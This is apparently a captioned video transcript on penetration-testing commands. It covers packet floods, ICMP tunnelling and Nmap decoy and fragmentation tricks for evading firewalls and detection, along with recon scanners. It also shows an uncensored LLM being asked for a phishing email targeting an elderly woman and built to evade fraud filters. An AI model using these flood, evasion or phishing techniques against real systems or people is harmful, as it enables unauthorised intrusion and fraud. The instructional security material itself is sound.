[ { "text": "Here are the top 60 hacking\ncommands you need to know.", "start": 0.12, "duration": 2.67 }, { "text": "I also brought in a few experts,", "start": 2.88, "duration": 1.41 }, { "text": "so get your coffee ready if you want\nto try these commands right now.", "start": 4.5, "duration": 3.09 }, { "text": "I've got a free Cali Lennic\nSandbox and a description.", "start": 7.65, "duration": 2.58 }, { "text": "Just click that link and right here in\nyour browser, boom hacking environment.", "start": 10.41, "duration": 4.08 }, { "text": "Make sure you read the instructions.\nYou get two hosts to hack with. Also,", "start": 14.49, "duration": 2.94 }, { "text": "all the commands in this video\nare in the description below.", "start": 17.43, "duration": 2.16 }, { "text": "We even created this beautiful\ntop hacking commands cheat sheet.", "start": 19.65, "duration": 2.64 }, { "text": "You got to have this\nthe humble ping command.", "start": 22.38, "duration": 2.13 }, { "text": "We ping a host to see if it's\nup and if it's up we'll hack it.", "start": 24.57, "duration": 2.49 }, { "text": "But right now we're sending a\n64 byte packet. What do you say?", "start": 27.3, "duration": 2.49 }, { "text": "We send something bigger to\ntest firewall capabilities.", "start": 29.79, "duration": 2.61 }, { "text": "We can type in dash S and\nspecify the size of our packet,", "start": 32.46, "duration": 3.78 }, { "text": "testing the capabilities of a\nfirewall, or we can get even crazier.", "start": 36.3, "duration": 3.06 }, { "text": "We'll still send our\nlarge packet dash S 1300,", "start": 39.45, "duration": 3.03 }, { "text": "but then we'll use the switch dash F to\nabsolutely obliterate this host flood.", "start": 42.63, "duration": 4.68 }, { "text": "A ton of packets. And actually before\nwe do that, I want to see this happen.", "start": 47.315, "duration": 3.115 }, { "text": "I'll start another terminal and\ngive you a bonus command here.", "start": 50.55, "duration": 2.7 }, { "text": "This tool is called IF top.", "start": 53.55, "duration": 1.38 }, { "text": "I'll install it with a PT install if\nand then type in if F top to run it.", "start": 55.08, "duration": 4.26 }, { "text": "Now let's flood. Look at that.", "start": 60.06, "duration": 3.36 }, { "text": "That's a lot of data control C to\nstop that. Same for if F top. Goodbye.", "start": 63.93, "duration": 3.93 }, { "text": "And actually let's keep IF top up\nbecause we're not done with ping yet.", "start": 68.07, "duration": 2.52 }, { "text": "I know you didn't realize there's so\nmuch to ping and this tool is kind of", "start": 70.74, "duration": 2.7 }, { "text": "crazy. It's called H ping three.", "start": 73.44, "duration": 1.71 }, { "text": "We'll install it with a\nPT install H ping three.", "start": 75.33, "duration": 2.82 }, { "text": "And we can do fun things like flooding\npackets on a specific port. For example,", "start": 78.57, "duration": 3.3 }, { "text": "port 83 s for a T CCP packet V", "start": 81.87, "duration": 4.98 }, { "text": "for verbose mode gives us more flood\nto make it rain. And finally the host.", "start": 86.855, "duration": 4.975 }, { "text": "Here we go man, look at that.\nAnd we're hitting port 80.", "start": 91.89, "duration": 3.87 }, { "text": "Great for testing web servers.", "start": 96.06, "duration": 1.32 }, { "text": "We can also use H ping three\nfor a fancy trace three", "start": 97.62, "duration": 3.36 }, { "text": "V and then here's what's cool.", "start": 102.66, "duration": 1.26 }, { "text": "We'll do dash one four I CM P packets\nand then our host network chuck.coffee,", "start": 104.07, "duration": 3.63 }, { "text": "but sometimes firewalls P with\ntrace route removing dash one.", "start": 108.57, "duration": 3.54 }, { "text": "We can instead do P 80 and\nS doing trace route on port", "start": 112.17, "duration": 4.8 }, { "text": "80,", "start": 116.97, "duration": 0.57 }, { "text": "which is web traffic using of\ncourse CP and pick your port", "start": 117.54, "duration": 4.5 }, { "text": "maybe 4, 4, 3, maybe 53.", "start": 122.37, "duration": 2.37 }, { "text": "Use the DS port specifying UDP\ntraffic or with TCP traffic we", "start": 124.86, "duration": 4.95 }, { "text": "can add the dash a switch setting\nthe act flag and then change our base", "start": 129.81, "duration": 4.83 }, { "text": "port with dash dash base port 1, 3, 3, 7.", "start": 134.645, "duration": 4.015 }, { "text": "All amazing options to help\nus evade firewall rules.", "start": 139.08, "duration": 2.16 }, { "text": "Now I bet you thought we were\ndone with ping, but we're not.", "start": 141.6, "duration": 2.19 }, { "text": "You can tunnel TCP packets over\nICMP echo reply and request packets.", "start": 143.85, "duration": 4.65 }, { "text": "What? Check this out. It happens\nwith the tool called P tunnel.", "start": 148.56, "duration": 2.7 }, { "text": "A PT installed P tunnel. On the target\nside, we'll simply run P tunnel.", "start": 151.445, "duration": 4.375 }, { "text": "On the attacker side we'll run\nP tunnel P for proxy address,", "start": 157.74, "duration": 3.78 }, { "text": "it'll be our target dash LP.\nTo specify our local port,", "start": 161.52, "duration": 2.82 }, { "text": "we'll do 8,000 dash DA for\nour destination address.", "start": 164.37, "duration": 4.08 }, { "text": "It'll also be our target and we'll\ndo dash DP for our destination port.", "start": 168.45, "duration": 3.36 }, { "text": "And because I'm going to try SSH,\nI'll do port 22 ready set tunnel.", "start": 171.815, "duration": 3.835 }, { "text": "Now to watch this happen in real time,\nI'm going to show you a new command.", "start": 176.31, "duration": 2.31 }, { "text": "CP dump will help us to capture and\nvisualize these packets in real time.", "start": 179.05, "duration": 3.09 }, { "text": "We'll use a PT install TCP dump to\ninstall it and then we'll run T CCP dump", "start": 182.41, "duration": 4.86 }, { "text": "dash I for interface and we'll say any.\nAnd we're only looking for ICMP traffic,", "start": 187.78, "duration": 4.11 }, { "text": "so we'll type in ICMP. Now watch\nthis. I'll want you new terminal.", "start": 191.95, "duration": 3.39 }, { "text": "Now I'm going to go over this tunnel\nusing ICMP packets. Oh my gosh,", "start": 195.73, "duration": 3.36 }, { "text": "check this out.", "start": 199.09, "duration": 0.833 }, { "text": "SSH P report specifying 8,000\nand I'll do username network.", "start": 200.385, "duration": 4.645 }, { "text": "Chuck,", "start": 205.03, "duration": 0.42 }, { "text": "that's my username at the other host\nat local host pointing it right here on", "start": 205.45, "duration": 4.62 }, { "text": "this computer, this server. Ready,\nset, go. Do you see it happening?", "start": 210.07, "duration": 3.69 }, { "text": "Oh my stinking, gosh. Literally\nsending SSA traffic over ICMP.", "start": 214.45, "duration": 4.44 }, { "text": "Echo reply echo request. That's\nmagic. Who am I IP address? Yep,", "start": 218.89, "duration": 4.08 }, { "text": "I'm somewhere else. That's so cool.", "start": 223.03, "duration": 1.53 }, { "text": "And control C to close\nthose tunnels on both sides,", "start": 224.65, "duration": 2.76 }, { "text": "this is great for evading firewalls\nthat might block that type of traffic.", "start": 227.68, "duration": 2.76 }, { "text": "Here's a quick command from\nTom, nom, nom, nom nom. No, no.", "start": 230.77, "duration": 3.21 }, { "text": "I'm Tom m nom and this is\na trick I use all the time.", "start": 234.01, "duration": 2.61 }, { "text": "If you're running a command and you\ndon't know what you want to do with the", "start": 236.8, "duration": 2.19 }, { "text": "output yet, pipe it to vim dash. That'll\nopen the output of the command in Vim,", "start": 238.99, "duration": 4.56 }, { "text": "and then you can either manually edit\nit or you can use column percent bang to", "start": 243.76, "duration": 3.75 }, { "text": "run it back through any command\nyou want. Run it through,", "start": 247.515, "duration": 2.215 }, { "text": "sort to put things in order or grip\ndash V to remove lines you don't want.", "start": 249.73, "duration": 3.42 }, { "text": "And then as a bonus, if you have a\nfile name under your cursor at G,", "start": 253.63, "duration": 2.91 }, { "text": "then F to open that file in a new buffer.", "start": 256.54, "duration": 2.01 }, { "text": "Nmap will scan a network helping us\nto discover hosts that we can hack.", "start": 259.09, "duration": 3.09 }, { "text": "Here's some fun ways to use it. First,", "start": 262.27, "duration": 1.59 }, { "text": "make sure you install\nit A PT install Nmap.", "start": 263.86, "duration": 2.22 }, { "text": "We can scan an entire network for\nquick mapping with Nmap dash, sn,", "start": 266.38, "duration": 4.38 }, { "text": "and then our target network. Hey, it\nfound 11, host the switch, lowercase s,", "start": 270.82, "duration": 3.69 }, { "text": "capital V will do service discovery\non a target works like a charm.", "start": 274.51, "duration": 4.14 }, { "text": "Use the capital O switch for OS\ndetection. Well hold up, we tried,", "start": 279.28, "duration": 4.14 }, { "text": "but it's blocking ping probes. Let's\ntry dash PN to not do the probe.", "start": 283.57, "duration": 4.2 }, { "text": "We'll add that to our command\ndash capital P lowercase n bam.", "start": 287.89, "duration": 3.54 }, { "text": "We got it's a Windows pc.", "start": 291.46, "duration": 1.59 }, { "text": "We can use a lowercase s capital L switch\nto do quick host name scanning on a", "start": 293.2, "duration": 3.81 }, { "text": "network. Nmap scripts,\nunlike a whole new world,", "start": 297.01, "duration": 2.25 }, { "text": "we can scan for vulnerabilities on a\nhost with script vol and then our target", "start": 299.32, "duration": 4.41 }, { "text": "host or network, we can use the malware\nscript to scan for known malware.", "start": 303.73, "duration": 3.75 }, { "text": "With the capital A switch, we can\nscan for pretty much everything.", "start": 307.57, "duration": 3.18 }, { "text": "Take a little coffee\nbreak, it'll take a while.", "start": 310.9, "duration": 1.74 }, { "text": "This one switch does OS\ndetection, version detection,", "start": 315.34, "duration": 3.12 }, { "text": "some default script scanning\nfrom Nmap and the trace route.", "start": 318.61, "duration": 2.61 }, { "text": "That's a lot of info. That's awesome.\nIf we use the lowercase F switch,", "start": 321.61, "duration": 3.42 }, { "text": "it'll fragment our packets and make it\nharder for us to be detected while we're", "start": 325.03, "duration": 2.94 }, { "text": "scanning. We can also avoid detection\nby changing our source port.", "start": 327.97, "duration": 2.97 }, { "text": "Using these source port switch, we can\njust say, Hey, I'm DNS, don't mind me.", "start": 330.97, "duration": 4.41 }, { "text": "And if you really want to be tricky\nwith Nmap, you can scan with decoys,", "start": 335.74, "duration": 3.0 }, { "text": "check this out,", "start": 338.8, "duration": 0.833 }, { "text": "Nmap dash capital D for decoys\nand then specify r and d all", "start": 340.12, "duration": 4.8 }, { "text": "capital. Let's say 10. What that will\ndo is generate 10 random IP addresses,", "start": 344.925, "duration": 4.645 }, { "text": "random decoys that you're scanning\nfrom so they can't find you.", "start": 349.57, "duration": 3.06 }, { "text": "We'll put our host in and then bam\nscanning from 10 different IP addresses.", "start": 352.81, "duration": 2.97 }, { "text": "Now Inmap is cool,", "start": 355.84, "duration": 0.87 }, { "text": "but

what you have a lot\nto scan like networks upon\nnetworks and you want to scan", "start": 356.71, "duration": 3.28 }, { "text": "them fast, that's where\nmass scan comes in.", "start": 359.99, "duration": 2.37 }, { "text": "One install mass scan with\na PT install mass scan.", "start": 362.48, "duration": 3.24 }, { "text": "Mass scan is similar to Nmap and that we\ncan specify ports to scan for specify a", "start": 366.59, "duration": 3.87 }, { "text": "network,", "start": 370.46, "duration": 0.54 }, { "text": "but then we can specify our\nrate and go super fast just", "start": 371.0, "duration": 4.83 }, { "text": "like that. Or if we have no idea\nwhat networks we're dealing with,", "start": 375.83, "duration": 2.61 }, { "text": "we can scan everything by the entire 10\npoint subnet range and we'll do a rate", "start": 378.44, "duration": 3.93 }, { "text": "of 10,000. Now it is fast,", "start": 382.375, "duration": 1.675 }, { "text": "but you still might want to\ntake a coffee break just saying", "start": 384.05, "duration": 2.49 }, { "text": "we'll just control see that.", "start": 388.4, "duration": 0.99 }, { "text": "We could also use the randomized host\nswitch to change the order in which we", "start": 389.75, "duration": 3.27 }, { "text": "scan our host or networks helping us\nstay a bit more hidden or we can quickly", "start": 393.02, "duration": 3.81 }, { "text": "find servers foolishly running\ntelenet on a network. Super insecure,", "start": 396.83, "duration": 3.57 }, { "text": "but we can find that out right now simply\nby specifying port 23 and scanning an", "start": 400.4, "duration": 3.93 }, { "text": "entire network fast. Got one.", "start": 404.33, "duration": 2.01 }, { "text": "Now here's John Hanman with something\na bit silly but I love it though.", "start": 406.64, "duration": 2.73 }, { "text": "You normally just enter LS on the\ncommand line to list stuff in the current", "start": 409.46, "duration": 4.68 }, { "text": "directory. Well, did you know that\nthere is actually an S SL command?", "start": 414.14, "duration": 4.65 }, { "text": "Like if you were typing really fast or\nyou accidentally made a mistake or you", "start": 419.06, "duration": 4.02 }, { "text": "had a typo when you meant to type\nLS and you accidentally typed S", "start": 423.08, "duration": 4.98 }, { "text": "sl,", "start": 428.06, "duration": 0.833 }, { "text": "this is the steam locomotive\nand it is a train that", "start": 428.9, "duration": 4.98 }, { "text": "is displayed on your computer screen,\non the command line on the terminal.", "start": 433.88, "duration": 3.93 }, { "text": "And look, you can't get out of\nthis, you can't type anything,", "start": 437.9, "duration": 3.93 }, { "text": "you can't do anything. You just have to\nwait for the whole train to drive by.", "start": 441.83, "duration": 4.11 }, { "text": "Now the next fun hacking command that I\nwant to show you is actually part of the", "start": 446.0, "duration": 4.95 }, { "text": "dev piece of the file system. I\ndon't know if you're familiar,", "start": 451.1, "duration": 3.51 }, { "text": "but there is a slash dev\nslash udom file and that is", "start": 454.61, "duration": 4.77 }, { "text": "like a device to list out PSEUDORANDOM\ndata just coming from your", "start": 459.44, "duration": 4.77 }, { "text": "computer, right? Hey, you have a stream,", "start": 464.24, "duration": 2.22 }, { "text": "a constant stream of randomness\nand this looks hysterical.", "start": 466.46, "duration": 4.35 }, { "text": "It is just gibberish nonsense\nzeros and ones and all the", "start": 470.93, "duration": 4.95 }, { "text": "data up to 255 askie\ncharacters printable non-print.", "start": 475.88, "duration": 4.32 }, { "text": "And it just looks like absolute chaos.\nYou can control see out of this,", "start": 480.71, "duration": 4.14 }, { "text": "but sometimes it might break the terminal\nand you can't actually continue to", "start": 485.0, "duration": 4.23 }, { "text": "interact with the shell.", "start": 489.23, "duration": 1.02 }, { "text": "So it's something that you might be\nable to do as a troll, as a meme, right?", "start": 490.4, "duration": 4.11 }, { "text": "So what if we actually set an\nalias for that same LS command?", "start": 494.66, "duration": 4.74 }, { "text": "Maybe we could set that to a cell if we\nwanted to run the steam locomotive train", "start": 499.49, "duration": 3.48 }, { "text": "again,", "start": 502.97, "duration": 0.45 }, { "text": "but we could set that to\nCat deran and now anytime", "start": 503.42, "duration": 4.98 }, { "text": "someone were to actually enter LS on\nthe command line thinking that they're", "start": 508.4, "duration": 4.02 }, { "text": "going to list files,", "start": 512.425, "duration": 0.985 }, { "text": "it'll just spit up and go crazy with\nall that random gibberish nonsense.", "start": 513.62, "duration": 4.77 }, { "text": "I think that's kind of fun.", "start": 518.45, "duration": 1.62 }, { "text": "By the way,", "start": 520.16, "duration": 0.485 }, { "text": "John Ham who will show us a real hacking\ncommand he loves later in the video,", "start": 520.645, "duration": 3.505 }, { "text": "the who is command will tell you\na ton of stuff about a domain,", "start": 524.3, "duration": 2.55 }, { "text": "install it with a PT install,\nwho is microsoft.com,", "start": 527.03, "duration": 4.14 }, { "text": "fax number, phone number, address,", "start": 531.26, "duration": 2.7 }, { "text": "let's try cia.gov redacted\nshould have expected that.", "start": 533.99, "duration": 4.51 }, { "text": "What web will tell you what technologies\na website is using a PT install what", "start": 538.95, "duration": 4.29 }, { "text": "web to install it and then we'll\ntype in what web and our domain.", "start": 543.24, "duration": 3.93 }, { "text": "We'll try network chuck.coffee.", "start": 547.44, "duration": 1.47 }, { "text": "And while that's scanning\nperfect time for a coffee break,", "start": 549.09, "duration": 1.83 }, { "text": "it gives you a ton of information\nincluding the fact that it's powered by", "start": 553.08, "duration": 3.03 }, { "text": "Shopify right there. Next\nup, curl from Naham sec.", "start": 556.5, "duration": 2.97 }, { "text": "My favorite command is actually not\nusing any hacking tools and it's probably", "start": 559.59, "duration": 4.11 }, { "text": "one of the most basic commands used on\nLinux and it comes by default on almost", "start": 563.7, "duration": 3.84 }, { "text": "any operating system and\nthat is a curl command.", "start": 567.54, "duration": 2.28 }, { "text": "And lemme show you real\nquickly how I use it.", "start": 569.82, "duration": 2.28 }, { "text": "The first thing I want to do is usually\nI just want to do a curl dash I that", "start": 572.4, "duration": 2.73 }, { "text": "usually gives you the headers and every\nresponse in that header of what it is", "start": 575.13, "duration": 4.56 }, { "text": "coming back from the server.", "start": 579.69, "duration": 0.9 }, { "text": "So in this case it's giving us\na 3 0 2 and it's saying, Hey,", "start": 580.59, "duration": 2.64 }, { "text": "you are going to get redirected\nto this exact location.", "start": 583.23, "duration": 2.61 }, { "text": "And I like doing curl a lot because I'm\nhacking a lot of APIs most of the time", "start": 586.2, "duration": 3.6 }, { "text": "and with APIs I want to just quickly\nsee if an endpoint is accessible or if I", "start": 589.8, "duration": 4.11 }, { "text": "can fit some sort of a data.", "start": 593.91, "duration": 1.23 }, { "text": "And a lot of times I'm processing data\nas a part of my hacking when recon.", "start": 595.14, "duration": 2.94 }, { "text": "So it makes it a lot easier\nto do it through Chrome.", "start": 598.41, "duration": 1.77 }, { "text": "And what you want to do for this one,\nfor example, if you want to authenticate,", "start": 600.51, "duration": 2.76 }, { "text": "instead of launching your browser\nand setting this header manually,", "start": 603.27, "duration": 3.27 }, { "text": "all you have to do is you can pass a\nheader and set that custom header with its", "start": 606.66, "duration": 3.48 }, { "text": "token in there and run it and it would\nauthenticate you and give you whatever", "start": 610.14, "duration": 4.14 }, { "text": "data it is that you're\nlooking for on that. API.", "start": 614.28, "duration": 2.325 }, { "text": "Hey, real quick, can I show you\nsomething crazy? Check this out.", "start": 616.83, "duration": 2.67 }, { "text": "I'm about to run an uncensored\nversion of chat GPT or an LLM,", "start": 619.77, "duration": 3.96 }, { "text": "which means you can pretty much do\nwhatever you want to do with it.", "start": 623.79, "duration": 2.19 }, { "text": "Now why am I doing this? Well,", "start": 626.25, "duration": 1.26 }, { "text": "because Bitdefender just came\nout with a tool called Scamo.", "start": 627.51, "duration": 2.82 }, { "text": "It's a free AI powered scam detector\nand prevention service from Bitdefender", "start": 630.54, "duration": 3.75 }, { "text": "like legit. Check this out. I got a\ntext from a scam. I'm pretty sure it is,", "start": 634.38, "duration": 4.14 }, { "text": "but do I actually know? Lemme\ngo find it. Oh yep. Here's one.", "start": 638.73, "duration": 3.0 }, { "text": "Pretty sure this is a scam,", "start": 642.06, "duration": 1.08 }, { "text": "but do I know all I got to do is copy\nthat sucker and jump into Facebook", "start": 643.17, "duration": 4.05 }, { "text": "Messenger, just one of the places I can\nchat with and see if things are scams.", "start": 647.22, "duration": 4.35 }, { "text": "So let's try it out. Hey, is this\na scam again, this is totally free,", "start": 651.78, "duration": 3.42 }, { "text": "I'm just chatting with it here in Facebook\nMessenger and within seconds it told", "start": 655.2, "duration": 3.57 }, { "text": "me that hey, it might be\nkind of suspicious. Don't\ndo anything with it. Okay,", "start": 658.77, "duration": 3.36 }, { "text": "that's pretty cool. That didn't fool it,", "start": 662.13, "duration": 1.11 }, { "text": "but what if I had this uncensored AI\ntool try to produce a phishing message.", "start": 663.3, "duration": 2.91 }, { "text": "Can we trick it? Let's try it out.", "start": 666.3, "duration": 1.29 }, { "text": "I need you to write a very convincing\nphishing email for an elderly woman named", "start": 667.62, "duration": 2.82 }, { "text": "Deborah. The goal is to get\nher to give me some money,", "start": 670.5, "duration": 1.92 }, { "text": "use the best method and write it in\na way that will avoid spam and fraud", "start": 672.48, "duration": 3.81 }, { "text": "detection. Lemme add that and fraud\ndetection. Snap. Okay, that's pretty good.", "start": 676.295, "duration": 4.075 }, { "text": "It even added this at the\nend. That's awesome. Okay,", "start": 680.58, "duration": 2.82 }, { "text": "let's doctor it up just a\nlittle bit or remove the,", "start": 683.73, "duration": 2.07 }, { "text": "it's not a real URL thing right there.", "start": 686.04, "duration": 2.46 }, { "text": "Let's add a real looking\nnumber like 7 6 5 0 9 8 7", "start": 688.56, "duration": 4.98 }, { "text": "and I'll remove the not a real\nnumber thing here too. Okay, cool.", "start": 693.6, "duration": 2.76 }, { "text": "Our message is ready. Let's test it out.\nPlease tell me if this email is okay.", "start": 696.365, "duration": 4.285 }, { "text": "Now, while it's checking\nthat, think about this.", "start": 700.92, "duration": 1.53 }, { "text": "Who in your family or in your friend\ngroup could benefit from having something", "start": 702.54, "duration": 2.94 }, { "text": "like this?",

"start": 705.48, "duration": 0.6 }, { "text": "I can't tell you how many times I'm\ngetting a text from my grandma or my mom", "start": 706.08, "duration": 2.94 }, { "text": "going, Hey, is this a scam? Is this fraud?", "start": 709.02, "duration": 1.98 }, { "text": "But if they can chat with something that\nis honestly probably smarter than me", "start": 711.06, "duration": 3.07 }, { "text": "and will be up to date\nwith the latest scams,", "start": 714.37, "duration": 1.95 }, { "text": "it's actually powered by a bitdefender,", "start": 716.35, "duration": 1.77 }, { "text": "the excellent security suite that I've\ntalked about here on this channel a lot.", "start": 718.21, "duration": 2.82 }, { "text": "So all the information and knowledge\nthey have is feeding the scamo free AI", "start": 721.09, "duration": 4.71 }, { "text": "powered tool. Okay, the results are\nin the email does seem suspicious,", "start": 725.8, "duration": 3.69 }, { "text": "it tells you what tactics it might be\nusing and it tells you to contact your", "start": 729.64, "duration": 2.91 }, { "text": "bank directly. That's perfect.", "start": 732.55, "duration": 1.95 }, { "text": "That's what I would tell my\ngrandma or my mom or my dad.", "start": 734.56, "duration": 2.73 }, { "text": "So seriously try it out right now.\nCheck the link below, it's free,", "start": 737.32, "duration": 2.4 }, { "text": "you can chat with it here on the\nwebsite or chat within Messenger.", "start": 739.96, "duration": 2.64 }, { "text": "They'll be adding WhatsApp soon and it'll\ncheck lots of things like you can send", "start": 742.63, "duration": 2.82 }, { "text": "out a QR code and go, Hey, is this good?\nYou can send out pictures of stuff.", "start": 745.45, "duration": 3.0 }, { "text": "This is a crazy powerful and free\ntool. I love what Bitdefender is doing.", "start": 748.54, "duration": 3.15 }, { "text": "So again,", "start": 751.81, "duration": 0.45 }, { "text": "definitely check it out and thank you\nto Bitdefender for sponsoring this video", "start": 752.26, "duration": 2.58 }, { "text": "and making a really awesome free\ntool available to all of you guys.", "start": 754.93, "duration": 2.94 }, { "text": "Nick to is an open source web server\nscanner that'll scan websites for any", "start": 757.93, "duration": 3.66 }, { "text": "dangerous bad stuff. It\nmight have to install it.", "start": 761.59, "duration": 2.31 }, { "text": "We'll do AP PT install Nick to and\nfor a basic vulnerability scan.", "start": 763.9, "duration": 4.05 }, { "text": "We'll do Nick to dash H for our\nhost and specify our host network.", "start": 767.95, "duration": 4.14 }, { "text": "Chuck dot copy go Buster can be used\nto find directory and files on a web", "start": 772.09, "duration": 4.98 }, { "text": "server.", "start": 777.07, "duration": 0.39 }, { "text": "We'll install it with a PT install Go\nBuster to enumerate network chuck.com.", "start": 777.46, "duration": 4.68 }, { "text": "We'll do go Buster, we'll\ntype in DUR for directories.", "start": 782.145, "duration": 3.055 }, { "text": "That's the mode we're going to be in.", "start": 785.23, "duration": 1.05 }, { "text": "We'll type in U and specify our domain\nnetwork check.com and we'll use the dash", "start": 786.34, "duration": 4.47 }, { "text": "W to specify our word list.", "start": 790.81, "duration": 1.62 }, { "text": "I'll use a default Cali Linux one here\nand go and it's discovering all my", "start": 792.55, "duration": 3.72 }, { "text": "directories files now because Go Buster\nis written and go is extremely fast.", "start": 796.27, "duration": 4.17 }, { "text": "Subdomain, enumeration,\nyeah, we can use it for that,", "start": 800.44, "duration": 2.46 }, { "text": "but first I want to download a word list\nto get a ton of word lists right now on", "start": 802.93, "duration": 3.45 }, { "text": "your system we'll use the tool\ncalled SEC list A PT install SEC", "start": 806.38, "duration": 4.32 }, { "text": "lists. Fair warning, this is\npretty big. Lots of word lists.", "start": 810.88, "duration": 3.99 }, { "text": "Once it's done downloading,", "start": 814.96, "duration": 1.32 }, { "text": "you can find it in user share SEC list.", "start": 816.46, "duration": 4.08 }, { "text": "Lots of stuff in there. Now real quick,\nif you only want to download one thing,", "start": 820.99, "duration": 3.39 }, { "text": "the thing that we care about,\nthere's a command for that.", "start": 824.41, "duration": 2.07 }, { "text": "It's called W Get Cyclist is also on\nGitHub and it's maintained by my friends.", "start": 826.66, "duration": 4.02 }, { "text": "What we care about is discovery and DNS\nand we'll get Jason Haddock's list here.", "start": 830.95, "duration": 4.14 }, { "text": "I'm going to grab the raw URL to\ninstall W get a PT install W Get", "start": 835.24, "duration": 4.71 }, { "text": "Kind Seeing a pattern here, right?", "start": 840.4, "duration": 1.23 }, { "text": "Type in W get paste at URLW. Got\nit. Now getting back to Go Buster,", "start": 841.84, "duration": 4.89 }, { "text": "we can enumerate domains. We'll\ntype in go Buster mod BDNS.", "start": 846.73, "duration": 3.33 }, { "text": "We'll specify our domain with dash D\nnetwork check.com and then our word list", "start": 850.12, "duration": 4.2 }, { "text": "with dash W. I'll use Jason\nHaddock's DNS. Ready, set, go.", "start": 854.325, "duration": 3.925 }, { "text": "Now that's a pretty big list and\nif I were doing a legit pin test,", "start": 858.4, "duration": 2.7 }, { "text": "I'd probably let this finish out\nbut I don't have time for that.", "start": 861.1, "duration": 1.98 }, { "text": "I'm not patient enough\nControl C to stop that.", "start": 863.11, "duration": 2.07 }, { "text": "I want to show you another way\nto do subdomain enumeration.", "start": 865.185, "duration": 2.155 }, { "text": "This tool is called sub lister.\nYou can install it with a PT,", "start": 867.46, "duration": 2.64 }, { "text": "install sub lister just like\nthis and the E is a three.", "start": 870.105, "duration": 3.055 }, { "text": "And then to run sub lister,", "start": 873.37, "duration": 1.05 }, { "text": "we'll simply type in sub lister dash D\nto specify our domain network check.com", "start": 874.425, "duration": 4.285 }, { "text": "and let it go. And it found a lot of\nstuff. This next one is pretty fun.", "start": 878.95, "duration": 4.11 }, { "text": "It's called WP Scan.", "start": 883.15, "duration": 1.2 }, { "text": "It will scan WordPress sites and help\nyou find all the issues that might be", "start": 884.77, "duration": 3.33 }, { "text": "affecting it. Great. If you're a\nWordPress site owner and great,", "start": 888.1, "duration": 3.0 }, { "text": "you're a pen tester, let's try it\nout. We can run it in a few ways.", "start": 891.2, "duration": 2.76 }, { "text": "The first way WP scan, we'll do\ndash dash URL and specify our URL.", "start": 894.02, "duration": 4.5 }, { "text": "We'll do chuck keith.com, my personal\nwebsite that's not doing anything.", "start": 898.73, "duration": 3.72 }, { "text": "And then we'll do dash enumerates you,", "start": 902.63, "duration": 2.82 }, { "text": "not you the letter you the U\nstands for users, let's try it out.", "start": 905.87, "duration": 3.15 }, { "text": "That's a lot of information. We can\nalso use the P option for plugins.", "start": 909.41, "duration": 4.11 }, { "text": "We can use T for themes or do\nsomething pretty aggressive.", "start": 913.76, "duration": 3.27 }, { "text": "We'll do VP VT dash plugins,", "start": 917.33, "duration": 4.35 }, { "text": "dash detection and we'll add aggressive\nat the end just to make sure we get our", "start": 921.83, "duration": 3.93 }, { "text": "point across. This is a super aggressive\nvulnerability scan. Let's try it out.", "start": 925.76, "duration": 3.42 }, { "text": "Now you may have noticed that all those\ncommands did not output anything fun", "start": 929.75, "duration": 3.42 }, { "text": "because you need an\nAPI token from WP scan,", "start": 933.35, "duration": 2.22 }, { "text": "which you can get for free right now.", "start": 935.57, "duration": 1.59 }, { "text": "And then you would run the commands like\nthis specifying your API token with a", "start": 937.22, "duration": 3.9 }, { "text": "dash API dash token switch. A mass is\nanother tool you can use for subdomain.", "start": 941.12, "duration": 4.56 }, { "text": "Enumeration. Install it with a PT install\nand to run it we'll type in a mass,", "start": 945.68, "duration": 4.02 }, { "text": "type in enu dash adidas specifier\ndomain network chuck.com and let it", "start": 950.54, "duration": 4.95 }, { "text": "go. This tool might run forever. Alright,\nI don't want to wait for it though.", "start": 955.49, "duration": 4.11 }, { "text": "Control C to stop that. But man,", "start": 959.66, "duration": 1.35 }, { "text": "look at all the stuff about to\ndo a more passive enumeration.", "start": 961.01, "duration": 3.06 }, { "text": "You can do this a mass and\nwe'll specify a dash passive", "start": 964.075, "duration": 4.435 }, { "text": "and then our domain, whereas the\nother one was a bit more active.", "start": 968.93, "duration": 2.94 }, { "text": "I like AMA because it does give us options\nbased on what our scope is and we'll", "start": 971.87, "duration": 3.42 }, { "text": "go ahead and stop that. This next command\nopens up the door to new commands.", "start": 975.295, "duration": 4.225 }, { "text": "What does that mean? You'll\nsee it's a tool called gi,", "start": 979.76, "duration": 2.4 }, { "text": "which we'll often use when you first\nstart out to interact with GitHub.", "start": 982.37, "duration": 2.97 }, { "text": "Let me show you. There's a tool we're\nabout to use called Search point,", "start": 985.52, "duration": 3.06 }, { "text": "but the way we use this tool is by\ndownloading it from GitHub and actually I", "start": 988.79, "duration": 3.72 }, { "text": "lied, this is a GitLab repository,\nbut it's pretty much the same thing.", "start": 992.515, "duration": 4.555 }, { "text": "You'll use GI all the time to\ninstall all kinds of stuff,", "start": 997.22, "duration": 2.82 }, { "text": "but first we have to install GI A\nPT Install Get you probably already", "start": 1000.13, "duration": 4.8 }, { "text": "have it. And then probably my\nfavorite command is GI Clone.", "start": 1004.93, "duration": 3.81 }, { "text": "We're going to clone a tool onto our\ncomputer and in our case it will be search", "start": 1008.8, "duration": 4.68 }, { "text": "point. Let's go to properly use that\ncommand, we'll add a symbolic link.", "start": 1013.48, "duration": 4.35 }, { "text": "We're not going to talk about that,\njust know it's a command below.", "start": 1018.43, "duration": 2.58 }, { "text": "And then finally we can use the\ncommand search exploit, right? Yeah,", "start": 1021.07, "duration": 2.67 }, { "text": "it's going to work. Let's try\nsearching for WordPress plugins.", "start": 1023.77, "duration": 4.29 }, { "text": "It'll search for exploits that involve\nWordPress plugins. What about SSH?", "start": 1028.21, "duration": 3.54 }, { "text": "A ton of exploits pertaining to SSH Super\nhandy tool if you want to update the", "start": 1032.05, "duration": 4.29 }, { "text": "database search exploit\ndash u crazy powerful tool.", "start": 1036.34, "duration": 3.84 }, { "text": "Now here's John Hammond\nwith a real hacking command.\nIt's kind of awesome. Let.", "start": 1040.21, "duration": 3.27 }, { "text": "Me get into the real genuine ethical\nhacking and penetration testing.", "start": 1043.48, "duration": 4.35 }, { "text": "My favorite top hacking\ncommand.

